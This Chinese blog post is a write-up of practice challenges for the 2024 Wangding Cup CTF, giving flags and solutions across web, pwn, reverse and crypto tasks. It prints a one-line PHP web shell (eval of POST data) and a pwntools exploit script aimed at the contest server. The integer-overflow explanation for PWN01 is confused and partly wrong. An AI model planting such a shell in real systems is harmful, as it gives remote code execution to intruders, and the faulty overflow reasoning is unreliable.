2024年第四届“网鼎杯”网络安全大赛-赛前模拟训练
文章目录
- 网络安全(WEB)
- 签到题
- WEB01
- WEB02
- 二进制漏洞安全(PWN)
- PWN01
- 潜在的安全漏洞分析
- 攻击步骤
- exp
- 逆向工程(REVERSE)
- REVERSE01
- 代码分析
- 重构密码
- 密码学(CRYPTO)
- CRYPTO01
- CRYPTO02
- 杂项 (MISC)
随便做了点就玩去了
顺便吐槽一句,为什么交了flag之后环境自动销毁而且还无法启动新的环境,不是谁教你们这么办比赛的??????
网络安全(WEB)
签到题
赛前模拟训练【签到题】,请下载赛题附件进行查看。
第四届“网鼎杯”网络安全大赛
赛前模拟训练【签到题】请使用Base64编码进行转换:d2RmbGFne3dkYjIwMTgtMjAyNF8wNH0=

wdflag{wdb2018-2024_04}
WEB01
某行业的供应链公司,在公司内部有多个未下线的老旧业务系统,由于公司内部无网络安全方面专职运维人员,导致互联网边界防火墙长期无人看管,部分业务系统被映射到互联网。该行业主管部门近期组织了一场供应链专项网络安全测试,请您根据网络安全实战经验,对该公司映射到互联网的系统进行测试,确认是否存在网络安全问题
//shell.php
<?php eval($_POST['x']);phpinfo();?>





wdflag{n1e1844gu8cgt58ysshvdv6cct7xgeey}
WEB02
某集团总部近期对下属子公司的业务系统进行了一次安全检查,发现部分业务应用系统存在高危漏洞。您做为专业的第三方安全服务公司,请对该业务系统进行人工检查,确认是否存在高危的安全漏洞。
这题没看
二进制漏洞安全(PWN)
PWN01
发现一个可疑的网络通道,不确定是否存在安全问题,请根据提供的源码附件内容,对目标地址进行测试。
#include <stdio.h>
#include <stdlib.h>int main() {char flag[32];FILE* f = fopen("flag", "r");if (f == NULL) {puts("flag not found");return 1;}fgets(flag, 32, f);fclose(f);setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 2, 0);printf("Input: ");char buffer[16];fgets(buffer, 16, stdin);int val = atoi(buffer);if (val < 0) {puts("Error: no negative numbers allowed!");return 1;}int doubled = 2 * val;printf("Doubled: %i\n", doubled);if (doubled == -100) {puts(flag);}
}
-
读取 Flag:
- 程序从文件
"flag"中读取最多 31 个字符存入flag[32]数组。
- 程序从文件
-
输入处理:
- 程序提示用户输入一个字符串,最多读取 15 个字符存入
buffer[16]。 - 使用
atoi将输入字符串转换为整数val。 - 如果
val < 0,程序输出错误信息并退出。 - 计算
doubled = 2 * val。 - 如果
doubled == -100,输出flag。
- 程序提示用户输入一个字符串,最多读取 15 个字符存入
潜在的安全漏洞分析
表面上看,程序似乎通过限制 val 为非负数来防止负数输入。然而,通过仔细分析,可以发现存在一个利用整数溢出的潜在漏洞,具体如下:
-
整数溢出利用:
- 在大多数系统中,
int类型为 32 位,范围是-2147483648到2147483647。 - 程序要求
doubled == -100,即2 * val == -100,理论上val应该是-50。 - 然而,程序中有
if (val < 0)检查,阻止负数输入。 - 如果输入一个超过
int最大值的正整数,atoi转换时可能会发生整数溢出,导致val被解释为一个负数,但这种情况下,val < 0检查可能无法正确拦截,具体取决于编译器和系统的行为。
- 在大多数系统中,
-
具体的溢出数值计算:
- 目标是使
2 * val == -100,即val == -50。 - 在 32 位无符号整数下,
-100等价于0xFFFFFF9C。 - 需要找到一个
val,使得2 * val ≡ 0xFFFFFF9C (mod 2^32)。 - 计算得到
val ≡ 0x7FFFFFCE (mod 2^32),即2147483598。
- 目标是使
攻击步骤
- 构造特定的输入:
- 发送一个超过
int最大值(2147483647)的正整数,例如2147483598。 - 具体输入可以是:
2147483598
- 发送一个超过
- 预期行为:
- 如果
atoi在遇到溢出时将输入解释为负数-50,则:doubled = 2 * (-50) = -100- 即使
val < 0,由于整数溢出,程序可能不会正确检测,直接比较doubled == -100,从而输出flag。
- 如果
exp
from pwn import *# 配置日志级别为 DEBUG,以便查看详细的调试信息
context.log_level = 'debug'# 目标服务器的主机和端口
HOST = '0192a3308f627c5ea8d25a7df12434f6.ey9u.dg04.wangdingcup.com'
PORT = 40006def main():try:# 建立与目标服务器的连接conn = remote(HOST, PORT)# 接收服务器欢迎信息,直到提示输入banner = conn.recvuntil(b'Input: ')print(banner.decode())# 构造恶意输入# 根据分析,我们选择一个大于 INT_MAX 的数以触发溢出# 此处选择2147483598作为示例payload = b'2147483598\n'# 发送恶意输入conn.send(payload)print(f"[*] Sent payload: {payload.decode().strip()}")# 接收服务器的响应response = conn.recvall(timeout=2)print(response.decode())except EOFError:print("[-] Connection closed by remote host.")except Exception as e:print(f"[-] An error occurred: {e}")finally:conn.close()if __name__ == '__main__':main()
逆向工程(REVERSE)
REVERSE01
某次服务器巡检过程中,发现一个可疑的Java源码,请根据提供的源码文件,分析找到隐藏在代码中的关键信息。
import java.util.Scanner;class ReverseEngineeringChallenge {public static void main(String args[]) {Scanner scanner = new Scanner(System.in);System.out.print("Enter password: ");String userInput = scanner.next();if (checkPassword(userInput)) {System.out.println("Access granted.");} else {System.out.println("Access denied!");}}public static boolean checkPassword(String password) {return password.length() == 20 &&password.charAt(0) == 'f' &&password.charAt(11) == '_' &&password.charAt(1) == 'l' &&password.charAt(6) == '0' &&password.charAt(3) == 'g' &&password.charAt(8) == '4' &&password.charAt(4) == '{' &&password.charAt(9) == '_' &&password.charAt(7) == '2' &&password.charAt(10) == '_' &&password.charAt(2) == 'a' &&password.charAt(12) == '_' &&password.charAt(5) == '2' &&password.charAt(17) == 'B' &&password.charAt(14) == '_' &&password.charAt(18) == '!' &&password.charAt(16) == '_' &&password.charAt(19) == '}' &&password.charAt(15) == 'D' &&password.charAt(13) == 'W';}
}
在提供的Java源码中,服务器通过一个密码验证机制来控制访问权限。分析代码可以帮助我们找到隐藏的关键密码信息。
代码分析
-
主要流程:
- 程序提示用户输入密码。
- 用户输入的密码被传递给
checkPassword方法进行验证。 - 如果密码验证成功,输出“Access granted.”,否则输出“Access denied!”。
-
密码验证逻辑 (
checkPassword方法):- 长度检查:密码必须为20个字符。
- 逐字符验证:密码的每个字符在特定的位置必须符合预设的字符。
-
具体的字符验证条件:
索引 (0-based) 必须字符 0 'f'1 'l'2 'a'3 'g'4 '{'5 '2'6 '0'7 '2'8 '4'9 '_'10 '_'11 '_'12 '_'13 'W'14 '_'15 'D'16 '_'17 'B'18 '!'19 '}'
重构密码
根据上述的验证条件,我们可以逐一填充每个索引对应的字符:
索引: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
字符: f l a g { 2 0 2 4 _ _ _ _ W _ D _ B ! }
将字符按顺序拼接起来,得到完整的密码:
flag{2024____W_D_B!}
flag{2024____W_D_B!}
密码学(CRYPTO)
CRYPTO01
运维人员在某网络设备中捕获一段加密代码,请帮忙分析其中的明文信息。
pvkq{G!N@L#}

flag{W!D@B#}
CRYPTO02
拦截到一张图片,请您分析这张图片中,是否包含有隐藏数据信息?
没细看
杂项 (MISC)
运维监测到有web攻击,请根据日志进行分析,找到攻击信息。
换个方式搜

wdflag{14030b5a31e7984365c08da0ece8dd03}
相关文章:
2024年第四届“网鼎杯”网络安全大赛-赛前模拟训练
文章目录 网络安全(WEB)签到题WEB01WEB02 二进制漏洞安全(PWN)PWN01潜在的安全漏洞分析攻击步骤exp 逆向工程(REVERSE)REVERSE01代码分析重构密码 密码学(CRYPTO)CRYPTO01CRYPTO02 杂…...
AI金融攻防赛:YOLO理论学习及赛题进阶思路(DataWhale组队学习)
引言 大家好,我是GISer Liu😁,一名热爱AI技术的GIS开发者。本系列文章是我跟随DataWhale 2024年10月学习赛的AI金融攻防赛学习总结文档。本文主要讲解如何在金融场景凭证篡改检测中应用YOLO算法。我们将从模型概述、数据准备、训练流程以及模…...
Spring Security 基础配置详解(附Demo)
目录 前言1. 基本知识2. Demo3. 实战 前言 基本的Java知识推荐阅读: java框架 零基础从入门到精通的学习路线 附开源项目面经等(超全)【Java项目】实战CRUD的功能整理(持续更新) 1. 基本知识 HttpSecurity 是 Spri…...
代码随想录打卡Day1
文章目录 day011 数组理论基础2 二分查找法3 移除元素4 平方数 day01 Java JDK是17.0.11 1 数组理论基础 数组是存放在连续内存空间上的相同类型数据的集合。 数组下标都是从0开始的。 数组内存空间的地址是连续的。 因为数组在内存空间的地址是连续的,所以我们…...
Vue快速创建工程+Element Plus
创建Vue工程 执行命令 npm init vuelatest 执行这两个绿色的命令 执行这个命令启动 npm run dev Element 打开网站https://element-plus.org/zh-CN/ npm install element-plus --save 然后在vscode中打开你的项目工程 // main.ts import { createApp } from vue import Ele…...
汽车管理系统——主界面制作
目录 主界面需要有什么?然后要做什么?添加两个主菜单(声明)下一步应该干什么?能够跳转到文件有哪几个动作?动作如何声明?为什么用选择声明指针,不选择直接声明这个对象? …...
C++ 右值引用深入理解:特性、优化与底层
目录 一、左右值的概念及右值的种类 二、左值引用与右值引用 左值引用给右值取别名: 右值引用给左值取别名: 三、引用的意义及左值引用的场景 四、移动构造: 右值引用在底层里的实现: 一、左右值的概念及右值的种类 在 C …...
C# 文件操作
文章目录 文件系统FileInfo和DirectoryInfo类完成一个文件的拷贝判断一个文件是否存在FileInfo和DirectoryInfo的属性列表FileInfo和DirectoryInfo的方法列表读写文件文件系统 下面的类用于浏览文件系统和执行操作,比如移动,复制和删除文件。 System.MarshalByRefObject 这个…...
FFmpeg 4.3 音视频-多路H265监控录放C++开发三 :安装QT5.14.2, 并将QT集成 到 VS2019中。
一,安装QT, 重点:在安装QT的时候要安装msvc201x版本的组件, 二 , 安装 qt-vs-tools Index of /development_releases/vsaddin/2.8.1 三,需要安装过 windows10 SDK,一般我们在安装vs2019的时候就…...
Linux 累加计算递归算法汇编实现
1...n可以使用公式计算,同时也是递归实现的很好例子,其c实现代码为 int f(int i) {i && (if(i-1));return i; } 其终止条件为0,此时i && (if(i-1))表达式不成立,不计算if(i-1)直接返回0&…...
明日周刊-第23期
十月已过半,气温也转凉了,大家注意保温哦。冬吃萝卜,夏吃姜,在快要到来的冬季大家可以选择多吃点萝卜。 配图是本周末去商场抓娃娃的时候拍的照片,现在抓娃娃单次普遍都控制在1块钱以下了,还记得多年前的抓…...
kubernets(二)
集群操作 查看集群信息 kubectl get查看各组件信息 格式:kubectl get 资源类型 【资源名】 【选项】 events #查看集群中的所有日志信息 -o wide # 显示资源详细信息,包括节点、地址... -o yaml/json #将当前资源对象输出至 yaml/json 格式文…...
《YOLO 标注工具全览》
《YOLO 标注工具全览》 一、YOLO 标注工具的重要性二、常见的 YOLO 标注工具介绍(一)LabelImg(二)Yolo_Label(三)在线标注工具 Make Sense(四)Ybat - YOLO BBox Annotation Tool&…...
财富思维学习
四大象限: 人类财富创造史经历的五个阶段: 1、黄色(土地)财务阶段:拥有土地和劳动力是财富的要求 2、蓝色(海)财富阶段:谁拥有贸易的通道谁就拥有财富(如港口ÿ…...
python爬虫加解密分析及实现
第一种: 1、找到加密的接口地址,通过加密的接口地址全局搜索 2、通过打断点的方式,操作页面,跑到断点处时,即可找到加密串,如图二; 3、找到用的是哪种加密方式,如: cr…...
用Java做智能客服,基于私有知识库
构建Java智能客服系统的整体思路 使用Java构建智能客服系统的整体思路是: 首先将客服QA文档以Word形式导入到系统中,通过向量化处理存入知识库。 当用户提出问题时,系统会根据问题内容从知识库中检索相关的上下文信息,并结合大…...
软考(网工)——网络安全
文章目录 🕐网络安全基础1️⃣网络安全威胁类型2️⃣网络攻击类型 🕑现代加密技术1️⃣私钥密码/对称密码体制2️⃣对称加密算法总结3️⃣公钥密码/非对称密码4️⃣混合密码5️⃣国产加密算法 - SM 系列6️⃣认证7️⃣基于公钥的认证 🕒Hash …...
如何给手机换ip地址
在当今数字化时代,IP地址作为设备在网络中的唯一标识,扮演着举足轻重的角色。然而,有时出于隐私保护、网络访问需求或其他特定原因,我们可能需要更改手机的IP地址。本文将详细介绍几种实用的方法,帮助您轻松实现手机IP…...
kafkamanager安装
一.下载kafkamanager2.0 https://download.csdn.net/download/cyw8998/89892482 二.修改配置文件 解压缩 unzip kafka-manager-2.0.0.0.zip vim application.conf /opt/module/kafka-manager-2.0.0.0/conf/application.conf 添加以下内容:(连接zooke…...
笔记本电脑U口保护分享
在前司时候,经常遇到各种硬件类的问题,但是之前没时间分享,现在来给大家分享一下,常见的问题及如何保护。 1.接口接触不良。这个一般发生于使用时间长了,可以用细砂纸,轻轻摩擦后再进行尝试。 2.接口失灵…...
嵌入式系统中nanopb序列化方案的优势与实践
1. 嵌入式通信序列化的痛点与选择在资源受限的嵌入式系统中,数据序列化方案的选择往往面临多重挑战。我曾在一个智能农业传感器项目中,就遇到过这样的困境:节点设备使用STM32F103(64KB Flash,20KB RAM)&…...
别再傻傻翻文档了!用这个API一键获取Prometheus里所有监控指标(附Node Exporter实战清单)
高效掌握Prometheus监控指标的实战指南 当你第一次登录到公司的Prometheus监控系统,面对成千上万的指标名称,是否感到无从下手?作为运维工程师,我们经常需要在短时间内理解一个全新系统的监控状况,而直接翻阅Exporter…...
告别混乱移植:LVGL v8.3输入设备(indev)驱动模块化配置实战(STM32+Touchpad/Keypad)
LVGL v8.3输入设备驱动模块化设计:从混沌到优雅的STM32工程实践 在嵌入式GUI开发中,LVGL的输入设备驱动移植往往是项目进度中最令人头疼的环节之一。当你的工程需要同时支持触摸屏、物理按键和旋转编码器时,传统的移植方式会让lv_port_indev.…...
基于YOLOv5和Python开发的中国交通标志识别系统,可识别45种交通标志,识别率高
基于YOLOv5和Python开发的中国交通标志识别系统,可识别45种交通标志,识别率高 最近在研究交通标志识别,发现了一个基于YOLOv5和Python开发的中国交通标志识别系统,效果相当不错。这个系统可以识别45种交通标志,而且识…...
联合注入及布尔型盲注基础流程(手注sqli-labs-master)
SQL 注入的核心原理:一句话概括 攻击者通过在输入框或 URL 参数中,输入恶意的 SQL 代码,让数据库“误以为”这是正常的指令并执行,从而泄露数据。 联合注入(UNION-based Injection) 联合注入是 SQL 注入中最常见、也最容易理解…...
1995-1996 年阿拉斯加北坡 ARCSS/LAII 通量站点的北极植被样地
Arctic Vegetation Plots at ARCSS/LAII Flux Sites, North Slope, Alaska, 1995-1996 简介 本数据集提供了 1995 年和 1996 年 8 月在北坡北极系统科学/陆地-大气-冰相互作用(ARCSS/LAII)项目通量塔站点采集的植被覆盖、环境样地和土壤数据。19 个 AR…...
Marzban安全审计终极指南:7个关键步骤检测和防范潜在安全风险
Marzban安全审计终极指南:7个关键步骤检测和防范潜在安全风险 Marzban作为基于Xray的统一GUI审查规避解决方案,在网络安全领域发挥着重要作用。本指南将为您揭示7个关键的安全审计步骤,帮助您全面检测和防范Marzban部署中的潜在安全风险&…...
革新星露谷体验:SMAPI全栈模组加载技术指南
革新星露谷体验:SMAPI全栈模组加载技术指南 【免费下载链接】SMAPI The modding API for Stardew Valley. 项目地址: https://gitcode.com/gh_mirrors/smap/SMAPI SMAPI(Stardew Modding API)作为《星露谷物语》的官方模组加载框架&am…...
3种核心价值助你掌控数字记忆:WeChatMsg聊天记录管理工具全解析
3种核心价值助你掌控数字记忆:WeChatMsg聊天记录管理工具全解析 【免费下载链接】WeChatMsg 提取微信聊天记录,将其导出成HTML、Word、CSV文档永久保存,对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending…...
如何3分钟告别GitHub英文界面困扰?中文翻译插件全攻略
如何3分钟告别GitHub英文界面困扰?中文翻译插件全攻略 【免费下载链接】github-chinese GitHub 汉化插件,GitHub 中文化界面。 (GitHub Translation To Chinese) 项目地址: https://gitcode.com/gh_mirrors/gi/github-chinese 你是否曾在GitHub上…...
